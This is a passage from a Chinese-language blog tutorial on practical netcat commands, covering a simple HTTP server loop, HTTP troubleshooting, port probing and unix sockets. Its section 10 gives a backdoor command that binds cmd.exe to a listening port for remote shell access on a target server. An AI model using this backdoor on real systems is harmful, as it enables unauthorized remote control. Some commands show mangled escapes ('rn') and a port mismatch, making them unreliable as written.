8个nc命令的实用案例( 二 )

保存文件中的更改并退出 。

8个nc命令的实用案例

文章插图
使用nc命令创建一个简单的Web服务器
然后通过运行以下命令提供服务提供HTTP服务,这将使HTTP服务器能够连续运行 。
while : ; do ( echo -ne "HTTP/1.1 200 OKrn" ; cat index.html; ) | nc -l -p 8080 ; done
8个nc命令的实用案例

文章插图
使用nc命令提供HTTP服务
然后打开web浏览器,可以使用以下地址访问内容:
http://192.168.1.1:8080使用真实的服务地址替换192.168.1.1
注意,您可以通过按[Ctrl+ C]来停止Netcat HTTP服务器 。
7. 解决Linux服务器连接问题netcat的另一个实用功能是解决服务器连接问题 。在这里,您可以使用netcat来验证服务器发送什么数据来响应客户机发出的命令 。
使用下面的命令查看example.com的主页:
printf "GET / HTTP/1.0rnrn" | nc text.example.com 80上述命令的输出包括web服务器发送的头部,可用于故障排除目的 。
8. 查找在端口上运行的服务您还可以使用netcat获得端口详细信息 。在这种情况下,它将告诉您在某个端口后运行的是什么服务 。例如,要了解特定服务器上端口22后面运行的是什么类型的服务,可以运行以下命令(使用目标服务器的IP地址替换192.168.56.110) 。选项-n意味着禁用DNS解析 。
nc -v -n 192.168.56.110 809. 创建一个流套接字netcat还支持创建unix流套接字 。下面的命令将创建并侦听一个unix流套接字 。
nc -lU /var/tmp/mysocket &检查:
ss -lpn | grep "/var/tmp/"10. 创建一个后门你也可以把netcat当成一个后门 。然而,这需要更多的工作 。如果netcat安装在目标服务器上,您可以使用它来创建后门,以获得远程命令提示符 。
要启用一个后门,你需要netcat监听一个选择的端口(比如:端口3001),然后您可以按照如下方式从您的计算机连接到这个端口 。
在远程服务器上运行以下命令,其中-d选项禁止从stdin读取,而-e选项指定要在目标系统上运行的命令 。
nc -L -p 3001 -d -e cmd.exe 11. 总结在本教程中,我们演示了8个实用的nc命令实用案例 。如果你有更好用法,请留言分享 。
本文已同步至博客站,尊重原创,转载时请在正文中附带以下链接:https://www.linuxrumen.com/cyml/1800.html

【8个nc命令的实用案例】


推荐阅读